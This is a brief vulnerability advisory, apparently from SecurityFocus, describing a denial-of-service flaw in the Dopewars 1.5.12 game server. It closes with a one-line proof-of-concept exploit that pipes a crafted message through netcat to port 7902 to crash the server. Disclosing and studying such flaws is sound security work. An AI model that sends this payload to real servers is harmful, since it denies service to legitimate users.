source: https://www.securityfocus.com/bid/36606/info

Dopewars is prone to a denial-of-service vulnerability that affects the server part of the application.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.

This issue affects Dopewars 1.5.12; other versions may also be affected. 

The following exploit is available:

ruby -e 'print "foo^^Ar1111111\n^^Acfoo\n^AV65536\n"' | nc localhost 7902